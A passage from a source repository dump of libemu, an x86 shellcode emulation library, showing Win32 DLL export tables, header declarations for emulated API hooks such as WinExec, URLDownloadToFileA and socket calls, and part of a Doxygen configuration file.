NULL, NULL},\n\t{\"WmiEnumerateGuids\", 0x0005C4C9, NULL, NULL},\n\t{\"WmiExecuteMethodA\", 0x0005CA62, NULL, NULL},\n\t{\"WmiExecuteMethodW\", 0x0005BFB5, NULL, NULL},\n\t{\"WmiFileHandleToInstanceNameA\", 0x0005CAD6, NULL, NULL},\n\t{\"WmiFileHandleToInstanceNameW\", 0x0005C2F5, NULL, NULL},\n\t{\"WmiFreeBuffer\", 0x000283E3, NULL, NULL},\n\t{\"WmiGetFirstTraceOffset\", 0x00056E4A, NULL, NULL},\n\t{\"WmiGetNextEvent\", 0x000578E0, NULL, NULL},\n\t{\"WmiGetTraceHeader\", 0x00056FB2, NULL, NULL},\n\t{\"WmiMofEnumerateResourcesA\", 0x0005CCFC, NULL, NULL},\n\t{\"WmiMofEnumerateResourcesW\", 0x0001EC89, NULL, NULL},\n\t{\"WmiNotificationRegistrationA\", 0x0005C2CD, NULL, NULL},\n\t{\"WmiNotificationRegistrationW\", 0x00028CAC, NULL, NULL},\n\t{\"WmiOpenBlock\", 0x00028E63, NULL, NULL},\n\t{\"WmiOpenTraceWithCursor\", 0x000589F8, NULL, NULL},\n\t{\"WmiParseTraceEvent\", 0x00058818, NULL, NULL},\n\t{\"WmiQueryAllDataA\", 0x0005C8A8, NULL, NULL},\n\t{\"WmiQueryAllDataMultipleA\", 0x0005C8D0, NULL, NULL},\n\t{\"WmiQueryAllDataMultipleW\", 0x0005B55D, NULL, NULL},\n\t{\"WmiQueryAllDataW\", 0x0001502C, NULL, NULL},\n\t{\"WmiQueryGuidInformation\", 0x0005C7D5, NULL, NULL},\n\t{\"WmiQuerySingleInstanceA\", 0x0005C910, NULL, NULL},\n\t{\"WmiQuerySingleInstanceMultipleA\", 0x0005BB4D, NULL, NULL},\n\t{\"WmiQuerySingleInstanceMultipleW\", 0x0005B985, NULL, NULL},\n\t{\"WmiQuerySingleInstanceW\", 0x0005B705, NULL, NULL},\n\t{\"WmiReceiveNotificationsA\", 0x0005C881, NULL, NULL},\n\t{\"WmiReceiveNotificationsW\", 0x0001FEEA, NULL, NULL},\n\t{\"WmiSetSingleInstanceA\", 0x0005C997, NULL, NULL},\n\t{\"WmiSetSingleInstanceW\", 0x0005BC77, NULL, NULL},\n\t{\"WmiSetSingleItemA\", 0x0005C9FB, NULL, NULL},\n\t{\"WmiSetSingleItemW\", 0x0005BE15, NULL, NULL},\n\t{\"Wow64Win32ApiEntry\", 0x00068423, NULL, NULL},\n\t{\"WriteEncryptedFileRaw\", 0x00043486, NULL, NULL},\n\t{0,0,NULL},\n};\n\nstruct emu_env_w32_dll_export shdocvw_exports[] = \n{\n\t{\"AddUrlToFavorites\", 0x00044715, NULL, NULL},\n\t{\"DllCanUnloadNow\", 0x0002200A, NULL, NULL},\n\t{\"DllGetClassObject\", 0x0001531D, NULL, NULL},\n\t{\"DllGetVersion\", 0x000CEE32, NULL, NULL},\n\t{\"DllInstall\", 0x00056EB8, NULL, NULL},\n\t{\"DllRegisterServer\", 0x00056E67, NULL, NULL},\n\t{\"DllRegisterWindowClasses\", 0x00097C49, NULL, NULL},\n\t{\"DllUnregisterServer\", 0x00056EA6, NULL, NULL},\n\t{\"DoAddToFavDlg\", 0x00044580, NULL, NULL},\n\t{\"DoAddToFavDlgW\", 0x000445CF, NULL, NULL},\n\t{\"DoFileDownload\", 0x000443E5, NULL, NULL},\n\t{\"DoFileDownloadEx\", 0x00044434, NULL, NULL},\n\t{\"DoOrganizeFavDlg\", 0x00044620, NULL, NULL},\n\t{\"DoOrganizeFavDlgW\", 0x00044672, NULL, NULL},\n\t{\"DoPrivacyDlg\", 0x00044767, NULL, NULL},\n\t{\"HlinkFindFrame\", 0x0004452F, NULL, NULL},\n\t{\"HlinkFrameNavigate\", 0x00044486, NULL, NULL},\n\t{\"HlinkFrameNavigateNHL\", 0x000444D8, NULL, NULL},\n\t{\"IEWriteErrorLog\", 0x000446C3, NULL, NULL},\n\t{\"ImportPrivacySettings\", 0x0004480E, NULL, NULL},\n\t{\"SHAddSubscribeFavorite\", 0x00044AFA, NULL, NULL},\n\t{\"OpenURL\", 0x000442AD, NULL, NULL},\n\t{\"SHGetIDispatchForFolder\", 0x000BAA6A, NULL, NULL},\n\t{\"SetQueryNetSessionCount\", 0x00044863, NULL, NULL},\n\t{\"SetShellOfflineState\", 0x000B98F7, NULL, NULL},\n\t{\"SoftwareUpdateMessageBox\", 0x000447B6, NULL, NULL},\n\t{\"URLQualifyA\", 0x00044216, NULL, NULL},\n\t{\"URLQualifyW\", 0x00044261, NULL, NULL},\n\t{\"IEWinMain\", 0x00044262, env_w32_hook_IEWinMain, NULL, NULL, 101},\n\t{0,0,NULL},\n};\n\n\n"
  },
  {
    "path": "include/emu/environment/win32/env_w32_dll_export_kernel32_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\nint32_t env_w32_hook_CloseHandle(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_CreateFileA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_CreateFileMapping(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_CreateProcessA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_CreateProcessInternalA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_DeleteFileA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_ExitProcess(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_ExitThread(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_GetFileSize(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_GetModuleHandleA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_GetProcAddress(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_GetSystemDirectoryA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_GetTempPathA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_GetTickCount(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_GetVersion(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook__hwrite(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook__lclose(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook__lcreat(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_LoadLibrayA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook__lwrite(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_malloc(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_memset(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_MapViewOfFile(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_SetFilePointer(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_SetUnhandledExceptionFilter(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_Sleep(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_UnmapViewOfFile(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_WaitForSingleObject(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_WinExec(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_WriteFile(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_VirtualProtect(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_VirtualProtectEx(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_TerminateThread(struct emu_env *env, struct emu_env_hook *hook);\n\n#define HANDLE int32_t\n#define DWORD uint32_t\n#define  WORD uint16_t\n\n#define LPTSTR char *\n#define LPBYTE char *\n\ntypedef struct _PROCESS_INFORMATION \n{\n\tHANDLE hProcess;         /* 00 */\n\tHANDLE hThread;          /* 01 */\n\tDWORD dwProcessId;       /* 02 */\n\tDWORD dwThreadId;        /* 03 */\n}PROCESS_INFORMATION, *LPPROCESS_INFORMATION;\n\n\ntypedef struct _STARTUPINFO\n{\n\tDWORD cb;\t\t\t\t /* 00 */\n\tLPTSTR lpReserved;\t\t /* 01 */\n\tLPTSTR lpDesktop;\t\t /* 02 */\n\tLPTSTR lpTitle;\t\t\t /* 03 */\n\tDWORD dwX;\t\t\t\t /* 04 */\n\tDWORD dwY;\t\t\t\t /* 05 */\n\tDWORD dwXSize;\t\t\t /* 06 */\n\tDWORD dwYSize;\t\t\t /* 07 */\n\tDWORD dwXCountChars;\t /* 08 */\n\tDWORD dwYCountChars;\t /* 09 */\n\tDWORD dwFillAttribute;\t /* 10 */\n\tDWORD dwFlags;\t\t\t /* 11 */\n\tWORD wShowWindow;\t\t /* 12 */\n\tWORD cbReserved2;\t\t /* 13 */\n\tLPBYTE lpReserved2;\t\t /* 14 */\n\tHANDLE hStdInput;\t\t /* 15 */\n\tHANDLE hStdOutput;\t\t /* 16 */\n\tHANDLE hStdError;\t\t /* 17 */\n} STARTUPINFO, *LPSTARTUPINFO;\n\n\n"
  },
  {
    "path": "include/emu/environment/win32/env_w32_dll_export_msvcrt_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\nint32_t\tenv_w32_hook__execv(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_fclose(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_fopen(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_fwrite(struct emu_env *env, struct emu_env_hook *hook);\n\n\n"
  },
  {
    "path": "include/emu/environment/win32/env_w32_dll_export_shdocvw_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\nint32_t\tenv_w32_hook_IEWinMain(struct emu_env *env, struct emu_env_hook *hook);\n"
  },
  {
    "path": "include/emu/environment/win32/env_w32_dll_export_shell32_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2011  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\nint32_t\tenv_hook_SHGetSpecialFolderPathA(struct emu_env *env, struct emu_env_hook *hook);\n\n"
  },
  {
    "path": "include/emu/environment/win32/env_w32_dll_export_urlmon_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\nint32_t\tenv_w32_hook_URLDownloadToFileA(struct emu_env *env, struct emu_env_hook *hook);\n\n"
  },
  {
    "path": "include/emu/environment/win32/env_w32_dll_export_ws2_32_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\nint32_t env_w32_hook_accept(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_bind(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_closesocket(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_connect(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_listen(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_recv(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_send(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_sendto(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_socket(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_WSASocketA(struct emu_env *env, struct emu_env_hook *hook);\nint32_t env_w32_hook_WSAStartup(struct emu_env *env, struct emu_env_hook *hook);\n\n"
  },
  {
    "path": "libemu.doxy",
    "content": "# Doxyfile 1.4.4\n\n# This file describes the settings to be used by the documentation system\n# doxygen (www.doxygen.org) for a project\n#\n# All text after a hash (#) is considered a comment and will be ignored\n# The format is:\n#       TAG = value [value, ...]\n# For lists items can also be appended using:\n#       TAG += value [value, ...]\n# Values that contain spaces should be placed between quotes (\" \")\n\n#---------------------------------------------------------------------------\n# Project related configuration options\n#---------------------------------------------------------------------------\n\n# The PROJECT_NAME tag is a single word (or a sequence of words surrounded \n# by quotes) that should identify the project.\n\nPROJECT_NAME           = libemu\n\n# The PROJECT_NUMBER tag can be used to enter a project or revision number. \n# This could be handy for archiving the generated documentation or \n# if some version control system is used.\n\nPROJECT_NUMBER         = 1\n\n# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) \n# base path where the generated documentation will be put. \n# If a relative path is entered, it will be relative to the location \n# where doxygen was started. If left blank the current directory will be used.\n\nOUTPUT_DIRECTORY       = /tmp/libemu_doxy\n\n# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create \n# 4096 sub-directories (in 2 levels) under the output directory of each output \n# format and will distribute the generated files over these directories. \n# Enabling this option can be useful when feeding doxygen a huge amount of \n# source files, where putting all generated files in the same directory would \n# otherwise cause performance problems for the file system.\n\nCREATE_SUBDIRS         = NO\n\n# The OUTPUT_LANGUAGE tag is used to specify the language in which all \n# documentation generated by doxygen is written. Doxygen will use this \n# information to generate all constant output in the proper language. \n# The default language is English, other supported languages are: \n# Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish, \n# Dutch, Finnish, French, German, Greek, Hungarian, Italian, Japanese, \n# Japanese-en (Japanese with English messages), Korean, Korean-en, Norwegian, \n# Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovene, Spanish, \n# Swedish, and Ukrainian.\n\nOUTPUT_LANGUAGE        = English\n\n# This tag can be used to specify the encoding used in the generated output. \n# The encoding is not always determined by the language that is chosen, \n# but also whether or not the output is meant for Windows or non-Windows users. \n# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES \n# forces the Windows encoding (this is the default for the Windows binary), \n# whereas setting the tag to NO uses a Unix-style encoding (the default for \n# all platforms other than Windows).\n\nUSE_WINDOWS_ENCODING   = NO\n\n# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will \n# include brief member descriptions after the members that are listed in \n# the file and class documentation (similar to JavaDoc). \n# Set to NO to disable this.\n\nBRIEF_MEMBER_DESC      = YES\n\n# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend \n# the brief description of a member or function before the detailed description. \n# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the \n# brief descriptions will be completely suppressed.\n\nREPEAT_BRIEF           = YES\n\n# This tag implements a quasi-intelligent brief description abbreviator \n# that is used to form the text in various listings. Each string \n# in this list, if found as the leading text of the brief description, will be \n# stripped from the text and the result after processing the whole list, is \n# used as the annotated text. Otherwise, the brief description is used as-is. \n# If left blank, the following values are used (\"$name\" is automatically \n# replaced with the name of the entity): \"The $name class\" \"The $name widget\" \n# \"The $name file\" \"is\" \"provides\" \"specifies\" \"contains\" \n# \"represents\" \"a\" \"an\" \"the\"\n\nABBREVIATE_BRIEF       = \n\n# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then \n# Doxygen will generate a detailed section even if there is only a brief \n# description.\n\nALWAYS_DETAILED_SEC    = NO\n\n# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all \n# inherited members of a class in the documentation of that class as if those \n# members were ordinary class members. Constructors, destructors and assignment \n# operators of the base classes will not be shown.\n\nINLINE_INHERITED_MEMB  = NO\n\n# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full \n# path before files name in the file list and in the header files. If set \n# to NO the shortest path that makes the file name unique will be used.\n\nFULL_PATH_NAMES        = YES\n\n# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag \n# can be used to strip a user-defined part of the path. Stripping is \n# only done if one of the specified strings matches the left-hand part of \n# the path. The tag can be used to show relative paths in the file list. \n# If left blank the directory from which doxygen is run is used as the \n# path to strip.\n\nSTRIP_FROM_PATH        = \n\n# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of \n# the path mentioned in the documentation of a class, which tells \n# the reader which header file to include in order to use a class. \n# If left blank only the name of the header file containing the class \n# definition is used. Otherwise one should specify the include paths that \n# are normally passed to the compiler using the -I flag.\n\nSTRIP_FROM_INC_PATH    = \n\n# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter \n# (but less readable) file names. This can be useful is your file systems \n# doesn't support long names like on DOS, Mac, or CD-ROM.\n\nSHORT_NAMES            = NO\n\n# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen \n# will interpret the first line (until the first dot) of a JavaDoc-style \n# comment as the brief description. If set to NO, the JavaDoc \n# comments will behave just like the Qt-style comments (thus requiring an \n# explicit @brief command for a brief description.\n\nJAVADOC_AUTOBRIEF      = NO\n\n# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen \n# treat a multi-line C++ special comment block (i.e. a block of //! or /// \n# comments) as a brief description. This used to be the default behaviour. \n# The new default is to treat a multi-line C++ comment block as a detailed \n# description. Set this tag to YES if you prefer the old behaviour instead.\n\nMULTILINE_CPP_IS_BRIEF = NO\n\n# If the DETAILS_AT_TOP tag is set to YES then Doxygen \n# will output the detailed description near the top, like JavaDoc.\n# If set to NO, the detailed description appears after the member \n# documentation.\n\nDETAILS_AT_TOP         = NO\n#YES // EDIT WAS NO\n\n# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented \n# member inherits the documentation from any documented member that it \n# re-implements.\n\nINHERIT_DOCS           = YES\n\n# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC \n# tag is set to YES, then doxygen will reuse the documentation of the first \n# member in the group (if any) for the other members of the group. By default \n# all members of a group must be documented explicitly.\n\nDISTRIBUTE_GROUP_DOC   = NO\n\n# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce \n# a new page for each member. If set to NO, the documentation of a member will \n# be part of the file/class/namespace that contains it.\n\nSEPARATE_MEMBER_PAGES  = NO\n\n# The TAB_SIZE tag can be used to set the number of spaces in a tab. \n# Doxygen uses this value to replace tabs by spaces in code fragments.\n\nTAB_SIZE               = 8\n\n# This tag can be used to specify a number of aliases that acts \n# as commands in the documentation. An alias has the form \"name=value\". \n# For example adding \"sideeffect=\\par Side Effects:\\n\" will allow you to \n# put the command \\sideeffect (or @sideeffect) in the documentation, which \n# will result in a user-defined paragraph with heading \"Side Effects:\". \n# You can put \\n's in the value part of an alias to insert newlines.\n\nALIASES                = \n\n# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C \n# sources only. Doxygen will then generate output that is more tailored for C. \n# For instance, some of the names that are used will be different. The list \n# of all members will be omitted, etc.\n\nOPTIMIZE_OUTPUT_FOR_C  = NO\n\n# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java sources \n# only. Doxygen will then generate output that is more tailored for Java. \n# For instance, namespaces will be presented as packages, qualified scopes \n# will look different, etc.\n\nOPTIMIZE_OUTPUT_JAVA   = NO\n\n# Set the SUBGROUPING tag to YES (the default) to allow class member groups of \n# the same type (for instance a group of public functions) to be put as a \n# subgroup of that type (e.g. under the Public Functions section). Set it to \n# NO to prevent subgrouping. Alternatively, this can be done per class using \n# the \\nosubgrouping command.\n\nSUBGROUPING            = YES\n\n#---------------------------------------------------------------------------\n# Build related configuration options\n#---------------------------------------------------------------------------\n\n# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in \n# documentation are documented, even if no documentation was available. \n# Private class members and static file members will be hidden unless \n# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES\n\nEXTRACT_ALL            = YES\n#// EDITED WAS YES\n\n# If the EXTRACT_PRIVATE tag is set to YES all private members of a class \n# will be included in the documentation.\n\nEXTRACT_PRIVATE        = YES\n\n# If the EXTRACT_STATIC tag is set to YES all static members of a file \n# will be included in the documentation.\n\nEXTRACT_STATIC         = YES\n\n# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) \n# defined locally in source files will be included in the documentation. \n# If set to NO only classes defined in header files are included.\n\nEXTRACT_LOCAL_CLASSES  = YES\n\n# This flag is only useful for Objective-C code. When set to YES local \n# methods, which are defined in the implementation section but not in \n# the interface are included in the documentation. \n# If set to NO (the default) only methods in the interface are included.\n\nEXTRACT_LOCAL_METHODS  = NO\n\n# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all \n# undocumented members of documented classes, files or namespaces. \n# If set to NO (the default) these members will be included in the \n# various overviews, but no documentation section is generated. \n# This option has no effect if EXTRACT_ALL is enabled.\n\nHIDE_UNDOC_MEMBERS     = NO\n\n# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all \n# undocumented classes that are normally visible in the class hierarchy. \n# If set to NO (the default) these classes will be included in the various \n# overviews. This option has no effect if EXTRACT_ALL is enabled.\n\nHIDE_UNDOC_CLASSES     = NO\n\n# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all \n# friend (class|struct|union) declarations. \n# If set to NO (the default) these declarations will be included in the \n# documentation.\n\nHIDE_FRIEND_COMPOUNDS  = NO\n\n# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any \n# documentation blocks found inside the body of a function. \n# If set to NO (the default) these blocks will be appended to the \n# function's detailed documentation block.\n\nHIDE_IN_BODY_DOCS      = NO\n\n# The INTERNAL_DOCS tag determines if documentation \n# that is typed after a \\internal command is included. If the tag is set \n# to NO (the default) then the documentation will be excluded. \n# Set it to YES to include the internal documentation.\n\nINTERNAL_DOCS          = NO\n\n# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate \n# file names in lower-case letters. If set to YES upper-case letters are also \n# allowed. This is useful if you have classes or files whose names only differ \n# in case and if your file system supports case sensitive file names. Windows \n# and Mac users are advised to set this option to NO.\n\nCASE_SENSE_NAMES       = YES\n\n# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen \n# will show members with their full class and namespace scopes in the \n# documentation. If set to YES the scope will be hidden.\n\nHIDE_SCOPE_NAMES       = NO\n\n# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen \n# will put a list of the files that are included by a file in the documentation \n# of that file.\n\nSHOW_INCLUDE_FILES     = YES\n\n# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] \n# is inserted in the documentation for inline members.\n\nINLINE_INFO            = YES\n\n# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen \n# will sort the (detailed) documentation of file and class members \n# alphabetically by member name. If set to NO the members will appear in \n# declaration order.\n\nSORT_MEMBER_DOCS       = YES\n\n# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the \n# brief documentation of file, namespace and class members alphabetically \n# by member name. If set to NO (the default) the members will appear in \n# declaration order.\n\nSORT_BRIEF_DOCS        = NO\n\n# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be \n# sorted by fully-qualified names, including namespaces. If set to \n# NO (the default), the class list will be sorted only by class name, \n# not including the namespace part. \n# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES.\n# Note: This option applies only to the class list, not to the \n# alphabetical list.\n\nSORT_BY_SCOPE_NAME     = NO\n\n# The GENERATE_TODOLIST tag can be used to enable (YES) or \n# disable (NO) the todo list. This list is created by putting \\todo \n# commands in the documentation.\n\nGENERATE_TODOLIST      = YES\n\n# The GENERATE_TESTLIST tag can be used to enable (YES) or \n# disable (NO) the test list. This list is created by putting \\test \n# commands in the documentation.\n\nGENERATE_TESTLIST      = YES\n\n# The GENERATE_BUGLIST tag can be used to enable (YES) or \n# disable (NO) the bug list. This list is created by putting \\bug \n# commands in the documentation.\n\nGENERATE_BUGLIST       = YES\n\n# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or \n# disable (NO) the deprecated list. This list is created by putting \n# \\deprecated commands in the documentation.\n\nGENERATE_DEPRECATEDLIST= YES\n\n# The ENABLED_SECTIONS tag can be used to enable conditional \n# documentation sections, marked by \\if sectionname ... \\endif.\n\nENABLED_SECTIONS       = \n\n# The MAX_INITIALIZER_LINES tag determines the maximum number of lines \n# the initial value of a variable or define consists of for it to appear in \n# the documentation. If the initializer consists of more lines than specified \n# here it will be hidden. Use a value of 0 to hide initializers completely. \n# The appearance of the initializer of individual variables and defines in the \n# documentation can be controlled using \\showinitializer or \\hideinitializer \n# command in the documentation regardless of this setting.\n\nMAX_INITIALIZER_LINES  = 30\n\n# Set the SHOW_USED_FILES tag to NO to disable the list of files generated \n# at the bottom of the documentation of classes and structs. If set to YES the \n# list will mention the files that were used to generate the documentation.\n\nSHOW_USED_FILES        = YES\n\n# If the sources in your project are distributed over multiple directories \n# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy \n# in the documentation. The default is YES.\n\nSHOW_DIRECTORIES       = YES\n\n# The FILE_VERSION_FILTER tag can be used to specify a program or script that \n# doxygen should invoke to get the current version for each file (typically from the \n# version control system). Doxygen will invoke the program by executing (via \n# popen()) the command <command> <input-file>, where <command> is the value of \n# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file \n# provided by doxygen. Whatever the progam writes to standard output \n# is used as the file version. See the manual for examples.\n\nFILE_VERSION_FILTER    = \n\n#---------------------------------------------------------------------------\n# configuration options related to warning and progress messages\n#---------------------------------------------------------------------------\n\n# The QUIET tag can be used to turn on/off the messages that are generated \n# by doxygen. Possible values are YES and NO. If left blank NO is used.\n\nQUIET                  = NO\n\n# The WARNINGS tag can be used to turn on/off the warning messages that are \n# generated by doxygen. Possible values are YES and NO. If left blank \n# NO is used.\n\nWARNINGS               = YES\n\n# If 